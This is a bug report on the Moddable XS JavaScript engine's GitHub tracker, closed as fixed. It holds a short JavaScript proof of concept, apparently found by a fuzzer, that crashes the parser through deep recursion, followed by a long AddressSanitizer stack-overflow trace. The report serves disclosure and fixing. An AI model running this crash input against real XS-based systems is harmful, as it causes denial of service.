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stack-overflow #586

Closed
bird8693 opened this issue Feb 26, 2021 · 0 comments
Closed

stack-overflow #586

bird8693 opened this issue Feb 26, 2021 · 0 comments
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fixed - please verify Issue has been fixed. Please verify and close.

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@bird8693
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Enviroment

operating system: ubuntu18.04
compile command:  cd /pathto/moddable/xs/makefiles/lin
make
test command: ./xst poc

poc:

function getHiddenValue() {
    var obj = {};
    var oob = '/re/';
    oob = oob.replace('', '*'.repeat(1048576));
    var str = '[1]' + oob + '}';
    var t2 = [
        4,
        4,
        4
    ];
    var fun = eval(str);
    var y = 0;
    Object.assign(obj, fun);
    return obj;
}
function makeOobString() {
    var hiddenValue = getHiddenValue();
    var str = 'class x extends Array{}';
    var fun = eval(str);
    var temp = [];
    Object.assign(fun, hiddenValue);
    var oobString = fun.toString();
    return oobString;
}
var oobString = makeOobString();

description

ASAN:SIGSEGV
=================================================================
==5984==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd44d69ff0 (pc 0x7f238c4be26e bp 0x000000000028 sp 0x7ffd44d69fe0 T0)
    #0 0x7f238c4be26d  (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xb026d)
    #1 0x7f238c4bdd67  (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xafd67)
    #2 0x7f238c430f4f  (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x22f4f)
    #3 0x7f238c4a65d2 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x985d2)
    #4 0x61189b in fxNewParserChunk /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScript.c:126
    #5 0x611994 in fxNewParserChunkClear /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScript.c:137
    #6 0x62be05 in fxPushNodeStruct /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:595
    #7 0x63703c in fxLiteralExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:2256
    #8 0x634d11 in fxCallExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1951
    #9 0x634aa1 in fxPostfixExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1938
    #10 0x634a86 in fxPrefixExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1933
    #11 0x63444b in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1872
    #12 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #13 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #14 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #15 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #16 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #17 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #18 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #19 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #20 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #21 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #22 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #23 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #24 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #25 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #26 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #27 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #28 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #29 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #30 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #31 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #32 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #33 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #34 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #35 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #36 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #37 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #38 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #39 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #40 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #41 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #42 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #43 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #44 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #45 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #46 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #47 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #48 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #49 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #50 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #51 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #52 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #53 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #54 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #55 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #56 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #57 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #58 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #59 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #60 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #61 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #62 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #63 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #64 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #65 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #66 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #67 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #68 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #69 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #70 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #71 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #72 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #73 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #74 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #75 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #76 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #77 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #78 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #79 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #80 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #81 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #82 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #83 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #84 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #85 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #86 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #87 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #88 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #89 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #90 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #91 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #92 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #93 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #94 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #95 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #96 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #97 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #98 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #99 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #100 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #101 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #102 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #103 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #104 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #105 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #106 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #107 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #108 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #109 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #110 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #111 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #112 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #113 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #114 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #115 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #116 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #117 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #118 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #119 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #120 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #121 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #122 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #123 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #124 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #125 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #126 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #127 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #128 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #129 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #130 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #131 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #132 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #133 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #134 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #135 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #136 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #137 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #138 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #139 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #140 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #141 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #142 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #143 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #144 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #145 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #146 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #147 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #148 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #149 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #150 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #151 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #152 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #153 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #154 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #155 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #156 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #157 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #158 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #159 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #160 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #161 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #162 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #163 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #164 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #165 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #166 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #167 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #168 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #169 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #170 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #171 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #172 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #173 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #174 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #175 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #176 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #177 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #178 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #179 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #180 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #181 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #182 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #183 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #184 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #185 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #186 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #187 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #188 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #189 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #190 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #191 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #192 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #193 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #194 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #195 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #196 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #197 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #198 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #199 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #200 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #201 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #202 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #203 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #204 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #205 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #206 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #207 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #208 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #209 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #210 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #211 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #212 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #213 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #214 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #215 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #216 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #217 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #218 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #219 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
